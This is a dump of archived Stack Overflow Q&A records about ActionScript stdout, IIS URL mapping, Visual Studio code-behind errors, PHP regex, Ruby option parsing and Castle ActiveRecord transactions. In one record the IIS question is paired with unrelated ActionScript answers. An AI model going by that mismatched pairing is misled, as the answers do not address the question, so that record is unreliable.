"text": "<p>As you say, there's no Adobe-created way to do this, but you might have better luck with <a href=\"http://www.multidmedia.com/\" rel=\"nofollow noreferrer\">Zinc</a>, it is similar to AIR but provides real OS integration of Flash-based applications. Look though the <a href=\"http://www.multidmedia.com/support/livedocs/\" rel=\"nofollow noreferrer\">API docs</a>, there should be something there.</p>\n"
},
{
"answer_id": 67606,
"author": "mikechambers",
"author_id": 10232,
"author_profile": "https://Stackoverflow.com/users/10232",
"pm_score": 1,
"selected": false,
"text": "<p>If you are using a debug Flash Player, you can have the Flash Player log trace messages to a file on your system.</p>\n\n<p>If you want real time messages, then you could tail the file.</p>\n\n<p>More info:</p>\n\n<p><a href=\"http://blog.flexexamples.com/2007/08/26/debugging-flex-applications-with-mmcfg-and-flashlogtxt/\" rel=\"nofollow noreferrer\">http://blog.flexexamples.com/2007/08/26/debugging-flex-applications-with-mmcfg-and-flashlogtxt/</a></p>\n\n<p>mike chambers</p>\n\n<p>[email protected]</p>\n"
},
{
"answer_id": 324348,
"author": "hasseg",
"author_id": 4111,
"author_profile": "https://Stackoverflow.com/users/4111",
"pm_score": 1,
"selected": false,
"text": "<p><a href=\"http://code.google.com/p/redtamarin/\" rel=\"nofollow noreferrer\">Redtamarin</a> seems to be able to do this (even though it's still in its infancy):</p>\n\n<p>Contents of <code>test.as</code>:</p>\n\n<pre><code>import avmplus.System;\nimport redtamarin.version;\n\ntrace( \"hello world\" );\ntrace( \"avmplus v\" + System.getAvmplusVersion() );\ntrace( \"redtamarin v\" + redtamarin.version );\n</code></pre>\n\n<p>On the command line:</p>\n\n<pre><code>$ ./buildEXE.sh test.as \n\ntest.abc, 243 bytes written\ntest.exe, 2191963 bytes written\n\ntest.abc, 243 bytes written\ntest.exe, 2178811 bytes written\n\n$ ./test\nhello world\navmplus v1.0 cyclone (redshell)\nredtamarin v0.1.0.92\n</code></pre>\n"
},
{
"answer_id": 528831,
"author": "David Lichteblau",
"author_id": 23370,
"author_profile": "https://Stackoverflow.com/users/23370",
"pm_score": 4,
"selected": true,
"text": "<p>With AIR on Linux, it is easy to write to stdout, since the process can see its own file descriptors as files in /dev.</p>\n\n<p>For stdout, open <code>/dev/fd/1</code> or <code>/dev/stdout</code> as a <code>FileStream</code>, then write to that.</p>\n\n<p>Example:</p>\n\n<pre><code>var stdout : FileStream = new FileStream();\nstdout.open(new File(\"/dev/fd/1\"), FileMode.WRITE);\nstdout.writeUTFBytes(\"test\\n\");\nstdout.close();\n</code></pre>\n\n<p><strong>Note:</strong> See <a href=\"https://stackoverflow.com/questions/5552277/when-to-use-writeutf-and-writeutfbytes-in-bytearray-of-as3\">this answer</a> for the difference between <code>writeUTF()</code> and <code>writeUTFBytes()</code> - the latter will avoid garbled output on stdout.</p>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/38651",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/4111/"
] | Is there any way to have a binary compiled from an ActionScript 3 project print stuff to *stdout* when executed?
From what I've gathered, people have been going around this limitation by writing hacks that rely on local socket connections and AIR apps that write to files in the local filesystem, but that's pretty much it -- it's obviously not possible with the Flash Player and AIR runtimes from Adobe.
Is there any project (e.g. based on the Tamarin code) that is attempting to implement something that would provide this kind of functionality? | With AIR on Linux, it is easy to write to stdout, since the process can see its own file descriptors as files in /dev.
For stdout, open `/dev/fd/1` or `/dev/stdout` as a `FileStream`, then write to that.
Example:
```
var stdout : FileStream = new FileStream();
stdout.open(new File("/dev/fd/1"), FileMode.WRITE);
stdout.writeUTFBytes("test\n");
stdout.close();
```
**Note:** See [this answer](https://stackoverflow.com/questions/5552277/when-to-use-writeutf-and-writeutfbytes-in-bytearray-of-as3) for the difference between `writeUTF()` and `writeUTFBytes()` - the latter will avoid garbled output on stdout. |
38,661 | <p>Is there any way in IIS to map requests to a particular URL with no extension to a given application.</p>
<p>For example, in trying to port something from a Java servlet, you might have a URL like this...</p>
<p><a href="http://[server]/MyApp/HomePage?some=parameter" rel="nofollow noreferrer">http://[server]/MyApp/HomePage?some=parameter</a></p>
<p>Ideally I'd like to be able to map everything under MyApp to a particular application, but failing that, any suggestions about how to achieve the same effect would be really helpful.</p>
| [
{
"answer_id": 38936,
"author": "Theo",
"author_id": 1109,
"author_profile": "https://Stackoverflow.com/users/1109",
"pm_score": 2,
"selected": false,
"text": "<p>As you say, there's no Adobe-created way to do this, but you might have better luck with <a href=\"http://www.multidmedia.com/\" rel=\"nofollow noreferrer\">Zinc</a>, it is similar to AIR but provides real OS integration of Flash-based applications. Look though the <a href=\"http://www.multidmedia.com/support/livedocs/\" rel=\"nofollow noreferrer\">API docs</a>, there should be something there.</p>\n"
},
{
"answer_id": 67606,
"author": "mikechambers",
"author_id": 10232,
"author_profile": "https://Stackoverflow.com/users/10232",
"pm_score": 1,
"selected": false,
"text": "<p>If you are using a debug Flash Player, you can have the Flash Player log trace messages to a file on your system.</p>\n\n<p>If you want real time messages, then you could tail the file.</p>\n\n<p>More info:</p>\n\n<p><a href=\"http://blog.flexexamples.com/2007/08/26/debugging-flex-applications-with-mmcfg-and-flashlogtxt/\" rel=\"nofollow noreferrer\">http://blog.flexexamples.com/2007/08/26/debugging-flex-applications-with-mmcfg-and-flashlogtxt/</a></p>\n\n<p>mike chambers</p>\n\n<p>[email protected]</p>\n"
},
{
"answer_id": 324348,
"author": "hasseg",
"author_id": 4111,
"author_profile": "https://Stackoverflow.com/users/4111",
"pm_score": 1,
"selected": false,
"text": "<p><a href=\"http://code.google.com/p/redtamarin/\" rel=\"nofollow noreferrer\">Redtamarin</a> seems to be able to do this (even though it's still in its infancy):</p>\n\n<p>Contents of <code>test.as</code>:</p>\n\n<pre><code>import avmplus.System;\nimport redtamarin.version;\n\ntrace( \"hello world\" );\ntrace( \"avmplus v\" + System.getAvmplusVersion() );\ntrace( \"redtamarin v\" + redtamarin.version );\n</code></pre>\n\n<p>On the command line:</p>\n\n<pre><code>$ ./buildEXE.sh test.as \n\ntest.abc, 243 bytes written\ntest.exe, 2191963 bytes written\n\ntest.abc, 243 bytes written\ntest.exe, 2178811 bytes written\n\n$ ./test\nhello world\navmplus v1.0 cyclone (redshell)\nredtamarin v0.1.0.92\n</code></pre>\n"
},
{
"answer_id": 528831,
"author": "David Lichteblau",
"author_id": 23370,
"author_profile": "https://Stackoverflow.com/users/23370",
"pm_score": 4,
"selected": true,
"text": "<p>With AIR on Linux, it is easy to write to stdout, since the process can see its own file descriptors as files in /dev.</p>\n\n<p>For stdout, open <code>/dev/fd/1</code> or <code>/dev/stdout</code> as a <code>FileStream</code>, then write to that.</p>\n\n<p>Example:</p>\n\n<pre><code>var stdout : FileStream = new FileStream();\nstdout.open(new File(\"/dev/fd/1\"), FileMode.WRITE);\nstdout.writeUTFBytes(\"test\\n\");\nstdout.close();\n</code></pre>\n\n<p><strong>Note:</strong> See <a href=\"https://stackoverflow.com/questions/5552277/when-to-use-writeutf-and-writeutfbytes-in-bytearray-of-as3\">this answer</a> for the difference between <code>writeUTF()</code> and <code>writeUTFBytes()</code> - the latter will avoid garbled output on stdout.</p>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/38661",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/797/"
] | Is there any way in IIS to map requests to a particular URL with no extension to a given application.
For example, in trying to port something from a Java servlet, you might have a URL like this...
<http://[server]/MyApp/HomePage?some=parameter>
Ideally I'd like to be able to map everything under MyApp to a particular application, but failing that, any suggestions about how to achieve the same effect would be really helpful. | With AIR on Linux, it is easy to write to stdout, since the process can see its own file descriptors as files in /dev.
For stdout, open `/dev/fd/1` or `/dev/stdout` as a `FileStream`, then write to that.
Example:
```
var stdout : FileStream = new FileStream();
stdout.open(new File("/dev/fd/1"), FileMode.WRITE);
stdout.writeUTFBytes("test\n");
stdout.close();
```
**Note:** See [this answer](https://stackoverflow.com/questions/5552277/when-to-use-writeutf-and-writeutfbytes-in-bytearray-of-as3) for the difference between `writeUTF()` and `writeUTFBytes()` - the latter will avoid garbled output on stdout. |
38,670 | <p>Ok, so, my visual studio is broken. I say this NOT prematurely, as it was my first response to see where I had messed up in my code. When I add controls to the page I can't reference all of them in the code behind. Some of them I can, it seems that the first few I put on a page work, then it just stops. </p>
<p>I first thought it may be the type of control as initially I was trying to reference a repeater inside an update panel. I know I am correctly referencing the code behind in my aspx page. But just in case it was a screw up on my part I started to recreate the page from scratch and this time got a few more controls down before VS stopped recognizing my controls.</p>
<p>After creating my page twice and getting stuck I thought maybe it was still the type of controls. I created a new page and just threw some labels on it. No dice, build fails when referencing the control from the code behind. </p>
<p>In a possibly unrelated note when I switch to the dreaded "design" mode of the aspx pages VS 2008 errors out and restarts. </p>
<p>I have already put a trouble ticket in to Microsoft. I uninstalled all add-ins, I reinstalled visual studio. </p>
<p>Anyone that wants to see my code just ask, but I am using the straight WYSIWYG visual studio "new aspx page" nothing fancy.</p>
<p>I doubt anyone has run into this, but have you? </p>
<p>Has anyone had success trouble shooting these things with Microsoft? Any way to expedite this ticket without paying??? I have been talking to a rep from Microsoft for days with no luck yet and I am dead in the water. </p>
<hr>
<p><strong>Jon Limjap:</strong> I edited the title to both make it clear and descriptive <em>and</em> make sure that nobody sees it as offensive. "Foo-barred" doesn't exactly constitute a proper question title, although your question is clearly a valid one.</p>
| [
{
"answer_id": 38688,
"author": "Sean Lynch",
"author_id": 4043,
"author_profile": "https://Stackoverflow.com/users/4043",
"pm_score": 4,
"selected": false,
"text": "<p>Is the control that you are trying to reference inside of the repeater?</p>\n\n<p>If so then you need to look them up using the FindControl method.</p>\n\n<p>For example for:</p>\n\n<pre><code><asp:Repeater ID=\"Repeater1\" runat=\"server\">\n <ItemTemplate>\n <asp:LinkButton ID=\"LinkButton1\" runat=\"server\">stest</asp:LinkButton>\n </ItemTemplate>\n</asp:Repeater>\n</code></pre>\n\n<p>You would need to do this to reference it:</p>\n\n<pre><code>LinkButton lb = Repeater1.FindControl(\"LinkButton1\");\n</code></pre>\n"
},
{
"answer_id": 38704,
"author": "Brian Boatright",
"author_id": 3747,
"author_profile": "https://Stackoverflow.com/users/3747",
"pm_score": 5,
"selected": true,
"text": "<p>try clearing your local VS cache. find your project and delete the folder. the folder is created by VS for what reason I honestly don't understand. but I've had several occasions where clearing it and doing a re-build fixes things... hope this is all that you need as well.</p>\n\n<p>here</p>\n\n<pre><code>%Temp%\\VWDWebCache\n</code></pre>\n\n<p>and possibly here</p>\n\n<pre><code>%LocalAppData%\\Microsoft\\WebsiteCache\n</code></pre>\n"
},
{
"answer_id": 735840,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 2,
"selected": false,
"text": "<p>you will also find .net temp files which are safe to delete here:\nC:\\WINDOWS\\Microsoft.NET\\Framework\\v2.0.50727\\Temporary ASP.NET Files</p>\n"
},
{
"answer_id": 2140905,
"author": "LorettoDave",
"author_id": 160819,
"author_profile": "https://Stackoverflow.com/users/160819",
"pm_score": 5,
"selected": false,
"text": "<p>The above fix (deleting the temp files) did not work for me. I had to delete the <code>PageName.aspx.designer.cs</code> file, then right-click my page, and choose \"Convert to Web Application\" from the context menu. </p>\n\n<p>When Visual Studio attempted to rebuild the designer file, it encountered (and revealed to me) the source of the problem. In my case, VS had lost a reference to a DLL needed by one of the controls on my page, so I had to clean out the generated bin folders in my project.</p>\n"
},
{
"answer_id": 3021053,
"author": "Daan",
"author_id": 7922,
"author_profile": "https://Stackoverflow.com/users/7922",
"pm_score": 3,
"selected": false,
"text": "<p>In my case, I was working with some old web site code, which I converted to a VS2008 solution. I encountered this same problem.</p>\n\n<p>For me, the fix was to right-click the Web Sites project in the Solution Explorer and select Convert to Web Application. This created <code>designer.cs</code> files for all pages, which did not yet have these files before. </p>\n"
},
{
"answer_id": 5374093,
"author": "Leah",
"author_id": 5506,
"author_profile": "https://Stackoverflow.com/users/5506",
"pm_score": 2,
"selected": false,
"text": "<p>In my case new asp controls I added to an existing were not being detected. </p>\n\n<p>What worked for me was forcing a recompile by renaming an existing control to break the build eg: changing <code><asp:TextBox ID=\"txtTitle\" runat=\"server\" /></code> to <code><asp:TextBox ID=\"txtTitle2\" runat=\"server\" /></code> </p>\n\n<p>When I corrected the ID and rebuilt a new designer file was generated with the corrected ID and new controls. </p>\n"
},
{
"answer_id": 6883044,
"author": "Dennis",
"author_id": 870634,
"author_profile": "https://Stackoverflow.com/users/870634",
"pm_score": 0,
"selected": false,
"text": "<p>For me, deleting/renaming the files in the following location worked:</p>\n\n<pre><code>C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Temporary ASP.NET Files\\myvirtualwebsite\\e331e0a9 \n</code></pre>\n"
},
{
"answer_id": 9791810,
"author": "Yogesh P",
"author_id": 1281569,
"author_profile": "https://Stackoverflow.com/users/1281569",
"pm_score": 2,
"selected": false,
"text": "<p>I observed this happens because of missing .designer.cs file. Following fixed this issue in my case (basically I had these files copied from VS 2005 web project to VS 2010 project): Right Click on .aspx file and select menu \"Convert to Web site\", this will create .designer.cs file and then it should work file. </p>\n"
},
{
"answer_id": 11666306,
"author": "Sardor",
"author_id": 1554125,
"author_profile": "https://Stackoverflow.com/users/1554125",
"pm_score": 0,
"selected": false,
"text": "<p>Check out your aspx file on errors, once I've faced with that problem</p>\n"
},
{
"answer_id": 12899948,
"author": "StronglyTyped",
"author_id": 650183,
"author_profile": "https://Stackoverflow.com/users/650183",
"pm_score": 0,
"selected": false,
"text": "<p>I had this happen a few times and it happened again today for a new reason. I normally run my project through IIS but needed to run it locally to debug. I normally run on port 80 in IIS and 81 in debug, but I had some settings in the web.config that used 80 so I just killed the site in IIS and switched the website to port 80 in the project settings. For whatever reason, this messed everything up and created the problem described in the OP. I started trying things one by one, including all the advice mentioned here, but switching the port back to 81 in the project settings is what ended up working.</p>\n"
},
{
"answer_id": 14338758,
"author": "Reinaldo",
"author_id": 1980420,
"author_profile": "https://Stackoverflow.com/users/1980420",
"pm_score": 1,
"selected": false,
"text": "<p>right click on project name and select \"Clean\". then, check your bin folder if it has any dll remaining. if so, delete it. that´s it. just rebuild and every thing will work fine.</p>\n"
},
{
"answer_id": 15510165,
"author": "Riccarr",
"author_id": 1935103,
"author_profile": "https://Stackoverflow.com/users/1935103",
"pm_score": 0,
"selected": false,
"text": "<p>Just to add my two cents with this problem.</p>\n\n<p>The only thing from all the above that worked for me was the \"Clean\" and then delete anything left in the bin folder. Rebuild and all controls started working then.</p>\n"
},
{
"answer_id": 16919982,
"author": "George H",
"author_id": 952916,
"author_profile": "https://Stackoverflow.com/users/952916",
"pm_score": 0,
"selected": false,
"text": "<p>FYI...I was having this problem too and I ended up fixing it by deleting the existing .designer.vb file, right-clicking on the project and choosing Convert to Web Application. It then showed the real \"error\" that was causing the GUI to crap itself. Turned out I had used the same name for 2 other labels but that wasn't being shown in the error list window. Once I renamed one of the 2 other labels it built fine and stopped giving me trouble.</p>\n"
},
{
"answer_id": 34755346,
"author": "Tony L.",
"author_id": 3347858,
"author_profile": "https://Stackoverflow.com/users/3347858",
"pm_score": 1,
"selected": false,
"text": "<p>This can also happen if the <code>Inherits</code> property on the source page doesn't match the class name in the code behind. Generally speaking, this would probably only happen if you copy/pasted a .ascx/.aspx file and forgot to update it.</p>\n\n<p>Example:</p>\n\n<pre><code><%@ Control AutoEventWireup=\"false\" CodeBehind=\"myControl.ascx.vb\" Inherits=\"myProject.myWrongControl\" %>\n</code></pre>\n\n<p>The the code behind class:</p>\n\n<pre><code>Partial Public Class myControl\n</code></pre>\n"
},
{
"answer_id": 39342380,
"author": "Alberto Belfanti",
"author_id": 5889239,
"author_profile": "https://Stackoverflow.com/users/5889239",
"pm_score": 0,
"selected": false,
"text": "<p>You have to add</p>\n\n<pre><code>runat=\"server\"\n</code></pre>\n\n<p>to each element in your page.</p>\n"
},
{
"answer_id": 44381474,
"author": "sharath kumar",
"author_id": 8117488,
"author_profile": "https://Stackoverflow.com/users/8117488",
"pm_score": 1,
"selected": false,
"text": "<p>we cannot change the code when the application is running .To do so first click on the stop button on the top which will halt your application .now click on the button in design mode ,it will insert the code in .aspx.cs file ,then write the code in it</p>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/38670",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/4140/"
] | Ok, so, my visual studio is broken. I say this NOT prematurely, as it was my first response to see where I had messed up in my code. When I add controls to the page I can't reference all of them in the code behind. Some of them I can, it seems that the first few I put on a page work, then it just stops.
I first thought it may be the type of control as initially I was trying to reference a repeater inside an update panel. I know I am correctly referencing the code behind in my aspx page. But just in case it was a screw up on my part I started to recreate the page from scratch and this time got a few more controls down before VS stopped recognizing my controls.
After creating my page twice and getting stuck I thought maybe it was still the type of controls. I created a new page and just threw some labels on it. No dice, build fails when referencing the control from the code behind.
In a possibly unrelated note when I switch to the dreaded "design" mode of the aspx pages VS 2008 errors out and restarts.
I have already put a trouble ticket in to Microsoft. I uninstalled all add-ins, I reinstalled visual studio.
Anyone that wants to see my code just ask, but I am using the straight WYSIWYG visual studio "new aspx page" nothing fancy.
I doubt anyone has run into this, but have you?
Has anyone had success trouble shooting these things with Microsoft? Any way to expedite this ticket without paying??? I have been talking to a rep from Microsoft for days with no luck yet and I am dead in the water.
---
**Jon Limjap:** I edited the title to both make it clear and descriptive *and* make sure that nobody sees it as offensive. "Foo-barred" doesn't exactly constitute a proper question title, although your question is clearly a valid one. | try clearing your local VS cache. find your project and delete the folder. the folder is created by VS for what reason I honestly don't understand. but I've had several occasions where clearing it and doing a re-build fixes things... hope this is all that you need as well.
here
```
%Temp%\VWDWebCache
```
and possibly here
```
%LocalAppData%\Microsoft\WebsiteCache
``` |
38,691 | <p>Hey so what I want to do is snag the content for the first paragraph. The string <code>$blog_post</code> contains a lot of paragraphs in the following format:</p>
<pre><code><p>Paragraph 1</p><p>Paragraph 2</p><p>Paragraph 3</p>
</code></pre>
<p>The problem I'm running into is that I am writing a regex to grab everything between the first <code><p></code> tag and the first closing <code></p></code> tag. However, it is grabbing the first <code><p></code> tag and the <strong>last</strong> closing <code></p></code> tag which results in me grabbing everything.</p>
<p>Here is my current code:</p>
<pre><code>if (preg_match("/[\\s]*<p>[\\s]*(?<firstparagraph>[\\s\\S]+)[\\s]*<\\/p>[\\s\\S]*/",$blog_post,$blog_paragraph))
echo "<p>" . $blog_paragraph["firstparagraph"] . "</p>";
else
echo $blog_post;
</code></pre>
| [
{
"answer_id": 38696,
"author": "Paige Ruten",
"author_id": 813,
"author_profile": "https://Stackoverflow.com/users/813",
"pm_score": 1,
"selected": false,
"text": "<p>It would probably be easier and faster to use <a href=\"http://php.net/strpos\" rel=\"nofollow noreferrer\">strpos()</a> to find the position of the first</p>\n\n<pre><code> <p>\n</code></pre>\n\n<p>and first</p>\n\n<pre><code></p>\n</code></pre>\n\n<p>then use <a href=\"http://php.net/substr\" rel=\"nofollow noreferrer\">substr()</a> to extract the paragraph.</p>\n\n<pre><code> $paragraph_start = strpos($blog_post, '<p>');\n $paragraph_end = strpos($blog_post, '</p>', $paragraph_start);\n $paragraph = substr($blog_post, $paragraph_start + strlen('<p>'), $paragraph_end - $paragraph_start - strlen('<p>'));\n</code></pre>\n\n<p><strong>Edit:</strong> Actually the regex in others' answers will be easier and faster... your big complex regex in the question confused me...</p>\n"
},
{
"answer_id": 38697,
"author": "Kibbee",
"author_id": 1862,
"author_profile": "https://Stackoverflow.com/users/1862",
"pm_score": 5,
"selected": true,
"text": "<p>Well, sysrqb will let you match anything in the first paragraph assuming there's no other html in the paragraph. You might want something more like this</p>\n\n<pre><code><p>.*?</p>\n</code></pre>\n\n<p>Placing the <code>?</code> after your <code>*</code> makes it non-greedy, meaning it will only match as little text as necessary before matching the <code></p></code>.</p>\n"
},
{
"answer_id": 38847,
"author": "Erik Öjebo",
"author_id": 276,
"author_profile": "https://Stackoverflow.com/users/276",
"pm_score": 3,
"selected": false,
"text": "<p>If you use <code>preg_match</code>, use the <strong>\"U\"</strong> flag to make it un-greedy.</p>\n\n<pre><code>preg_match(\"/<p>(.*)<\\/p>/U\", $blog_post, &$matches);\n</code></pre>\n\n<p><code>$matches[1]</code> will then contain the first paragraph.</p>\n"
},
{
"answer_id": 47850655,
"author": "eLRuLL",
"author_id": 858913,
"author_profile": "https://Stackoverflow.com/users/858913",
"pm_score": 0,
"selected": false,
"text": "<p>Using Regular Expressions for html parsing is never the right solution. You should be using XPATH for this particular case:</p>\n\n<pre><code>$string = <<<XML\n<a>\n <b>\n <c>texto</c>\n <c>cosas</c>\n </b>\n <d>\n <c>código</c>\n </d>\n</a>\nXML;\n\n$xml = new SimpleXMLElement($string);\n\n/* Busca <a><b><c> */\n$resultado = $xml->xpath('//p[1]');\n</code></pre>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/38691",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/428190/"
] | Hey so what I want to do is snag the content for the first paragraph. The string `$blog_post` contains a lot of paragraphs in the following format:
```
<p>Paragraph 1</p><p>Paragraph 2</p><p>Paragraph 3</p>
```
The problem I'm running into is that I am writing a regex to grab everything between the first `<p>` tag and the first closing `</p>` tag. However, it is grabbing the first `<p>` tag and the **last** closing `</p>` tag which results in me grabbing everything.
Here is my current code:
```
if (preg_match("/[\\s]*<p>[\\s]*(?<firstparagraph>[\\s\\S]+)[\\s]*<\\/p>[\\s\\S]*/",$blog_post,$blog_paragraph))
echo "<p>" . $blog_paragraph["firstparagraph"] . "</p>";
else
echo $blog_post;
``` | Well, sysrqb will let you match anything in the first paragraph assuming there's no other html in the paragraph. You might want something more like this
```
<p>.*?</p>
```
Placing the `?` after your `*` makes it non-greedy, meaning it will only match as little text as necessary before matching the `</p>`. |
38,713 | <p>I'm trying to pick up ruby by porting a medium-sized (non-OO) perl program. One of my personal idioms is to set options like this:</p>
<pre><code>use Getopt::Std;
our $opt_v; # be verbose
getopts('v');
# and later ...
$opt_v && print "something interesting\n";
</code></pre>
<p>In perl, I kind of grit my teeth and let $opt_v be (effectively) a global. </p>
<p>In ruby,the more-or-less exact equivalent would be </p>
<pre><code>require 'optparse'
opts.on("-v", "--[no-]verbose", TrueClass, "Run verbosely") {
|$opt_verbose|
}
opts.parse!
end
</code></pre>
<p>where $opt_verbose is a global that classes could access. Having classes know about global flags like that seems ... er ... wrong. What's the OO-idiomatic way of doing this?</p>
<ul>
<li>Let the main routine take care of all option-related stuff and have the classes just return things to it that it decides how to deal with?</li>
<li>Have classes implement optional behaviour (e.g., know how to be verbose) and set a mode via an attr_writer sort of thing?</li>
</ul>
<p><em>updated:</em> Thanks for the answers suggesting optparse, but I should have been clearer that it's not <em>how</em> to process command-line options I'm asking about, but more the relationship between command-line options that effectively set a global program state and classes that should ideally be independent of that sort of thing.</p>
| [
{
"answer_id": 38741,
"author": "John",
"author_id": 2168,
"author_profile": "https://Stackoverflow.com/users/2168",
"pm_score": 1,
"selected": false,
"text": "<p>The <a href=\"http://www.rubyinside.com/trollop-command-line-option-parser-for-ruby-944.html\" rel=\"nofollow noreferrer\">first hit</a> on google for \"<a href=\"http://www.google.com/search?q=processing%20command%20line%20options%20in%20ruby&sourceid=mozilla2&ie=utf-8&oe=utf-8\" rel=\"nofollow noreferrer\">processing command line options in ruby</a>\" is an article about <a href=\"http://trollop.rubyforge.org/\" rel=\"nofollow noreferrer\">Trollop</a> which seems to be a good tool for this job.</p>\n"
},
{
"answer_id": 38761,
"author": "Orion Edwards",
"author_id": 234,
"author_profile": "https://Stackoverflow.com/users/234",
"pm_score": 2,
"selected": false,
"text": "<p>The <a href=\"http://www.ruby-doc.org/stdlib/libdoc/optparse/rdoc/index.html\" rel=\"nofollow noreferrer\">optparse</a> library is part of the standard distribution, so you'll be able to use it without requiring any third party stuff.</p>\n\n<p>I haven't used it personally, but <a href=\"http://github.com/rails/rails/search?q=optparse&choice=code\" rel=\"nofollow noreferrer\">rails seems to use it extensively</a> and <a href=\"http://github.com/dchelimsky/rspec/tree/master/lib/spec/runner/option_parser.rb\" rel=\"nofollow noreferrer\">so does rspec</a>, which I guess is a pretty solid vote of confidence</p>\n\n<p><a href=\"http://github.com/rails/rails/tree/master/railties/lib/commands/console.rb\" rel=\"nofollow noreferrer\">This example from rails' <code>script/console</code></a> seems to show how to use it pretty easily and nicely</p>\n"
},
{
"answer_id": 41033,
"author": "Nathan Fritz",
"author_id": 4142,
"author_profile": "https://Stackoverflow.com/users/4142",
"pm_score": 3,
"selected": true,
"text": "<p>A while back I ran across <a href=\"http://blog.toddwerth.com/entries/5\" rel=\"nofollow noreferrer\">this blog post</a> (by Todd Werth) which presented a rather lengthy skeleton for command-line scripts in Ruby. His skeleton uses a hybrid approach in which the application code is encapsulated in an application class which is instantiated, then executed by calling a \"run\" method on the application object. This allowed the options to be stored in a class-wide instance variable so that all methods in the application object can access them without exposing them to any other objects that might be used in the script.</p>\n\n<p>I would lean toward using this technique, where the options are contained in one object and use either attr_writers or option parameters on method calls to pass relevant options to any additional objects. This way, any code contained in external classes can be isolated from the options themselves -- no need to worry about the naming of the variables in the main routine from within the <code>thingy</code> class if your options are set with a <code>thingy.verbose=true</code> attr_writer or <code>thingy.process(true)</code> call.</p>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/38713",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/3979/"
] | I'm trying to pick up ruby by porting a medium-sized (non-OO) perl program. One of my personal idioms is to set options like this:
```
use Getopt::Std;
our $opt_v; # be verbose
getopts('v');
# and later ...
$opt_v && print "something interesting\n";
```
In perl, I kind of grit my teeth and let $opt\_v be (effectively) a global.
In ruby,the more-or-less exact equivalent would be
```
require 'optparse'
opts.on("-v", "--[no-]verbose", TrueClass, "Run verbosely") {
|$opt_verbose|
}
opts.parse!
end
```
where $opt\_verbose is a global that classes could access. Having classes know about global flags like that seems ... er ... wrong. What's the OO-idiomatic way of doing this?
* Let the main routine take care of all option-related stuff and have the classes just return things to it that it decides how to deal with?
* Have classes implement optional behaviour (e.g., know how to be verbose) and set a mode via an attr\_writer sort of thing?
*updated:* Thanks for the answers suggesting optparse, but I should have been clearer that it's not *how* to process command-line options I'm asking about, but more the relationship between command-line options that effectively set a global program state and classes that should ideally be independent of that sort of thing. | A while back I ran across [this blog post](http://blog.toddwerth.com/entries/5) (by Todd Werth) which presented a rather lengthy skeleton for command-line scripts in Ruby. His skeleton uses a hybrid approach in which the application code is encapsulated in an application class which is instantiated, then executed by calling a "run" method on the application object. This allowed the options to be stored in a class-wide instance variable so that all methods in the application object can access them without exposing them to any other objects that might be used in the script.
I would lean toward using this technique, where the options are contained in one object and use either attr\_writers or option parameters on method calls to pass relevant options to any additional objects. This way, any code contained in external classes can be isolated from the options themselves -- no need to worry about the naming of the variables in the main routine from within the `thingy` class if your options are set with a `thingy.verbose=true` attr\_writer or `thingy.process(true)` call. |
38,729 | <p>I decided to make a system for a client using <a href="https://web.archive.org/web/20080517021542/http://www.castleproject.org/activerecord/index.html" rel="nofollow noreferrer">Castle ActiveRecord</a>, everything went well until I found that the transactions do not work, for instance;</p>
<pre><code> TransactionScope t = new TransactionScope();
try
{
member.Save();
//This is just to see transaction working
throw new Exception("Exception");
foreach (qfh.Beneficiary b1 in l)
{
b1.Create();
}
}
catch (Exception ex)
{
t.VoteRollBack();
MessageBox.Show(ex.Message);
}
finally
{
t.Dispose();
}
</code></pre>
<p>But it doesn't work, I throw an Exception just to try the transaction rolls back, but for my surprise I see that the first [Save] records into the database. What is happening?</p>
<p>I'm new on Castle and NHibernate, firstly I saw it very attractive and I decided to go on with it and MySQL (I've never worked with this DB), I tried ActiveWriter and it seemed very promising but after a long and effortly week I see this issue and now I feel like I'm stuck and like I've wasted my time. It is supposed to be easy but right now I'm feeling a frustated cause I cannot find enough information to make this workout, can you help me?</p>
| [
{
"answer_id": 38737,
"author": "Michael Haren",
"author_id": 29,
"author_profile": "https://Stackoverflow.com/users/29",
"pm_score": 3,
"selected": true,
"text": "<p>Ben's got it. That doc is a little confusing. Refer to the last block <a href=\"https://web.archive.org/web/20080417014143/http://www.castleproject.org/ActiveRecord/documentation/v1rc1/usersguide/scopes.html\" rel=\"nofollow noreferrer\">on the page</a>, \"Nested transactions\". </p>\n"
},
{
"answer_id": 38740,
"author": "Ben Scheirman",
"author_id": 3381,
"author_profile": "https://Stackoverflow.com/users/3381",
"pm_score": 3,
"selected": false,
"text": "<p>You need to wrap the code in a session scope, like this:</p>\n\n<pre><code>using(new SessionScope())\n{\n a.Save();\n b.Save();\n c.Save();\n}\n</code></pre>\n\n<p>Read more <a href=\"https://web.archive.org/web/20080417014143/http://www.castleproject.org:80/activerecord/documentation/v1rc1/usersguide/scopes.html\" rel=\"nofollow noreferrer\">here</a>.</p>\n"
},
{
"answer_id": 38747,
"author": "Nelson Miranda",
"author_id": 1130097,
"author_profile": "https://Stackoverflow.com/users/1130097",
"pm_score": 0,
"selected": false,
"text": "<p>I finally fixed, it happened that I was doing wrong, I overrode the Save method of the Member class and made sessionScope inside and inside of it a transaction scope, so when a involved all of that in a transaction scope it saved in the database, so when I threw the exception everything was already saved, I think that's it.</p>\n\n<p>All in all, thanks for the help.</p>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/38729",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1130097/"
] | I decided to make a system for a client using [Castle ActiveRecord](https://web.archive.org/web/20080517021542/http://www.castleproject.org/activerecord/index.html), everything went well until I found that the transactions do not work, for instance;
```
TransactionScope t = new TransactionScope();
try
{
member.Save();
//This is just to see transaction working
throw new Exception("Exception");
foreach (qfh.Beneficiary b1 in l)
{
b1.Create();
}
}
catch (Exception ex)
{
t.VoteRollBack();
MessageBox.Show(ex.Message);
}
finally
{
t.Dispose();
}
```
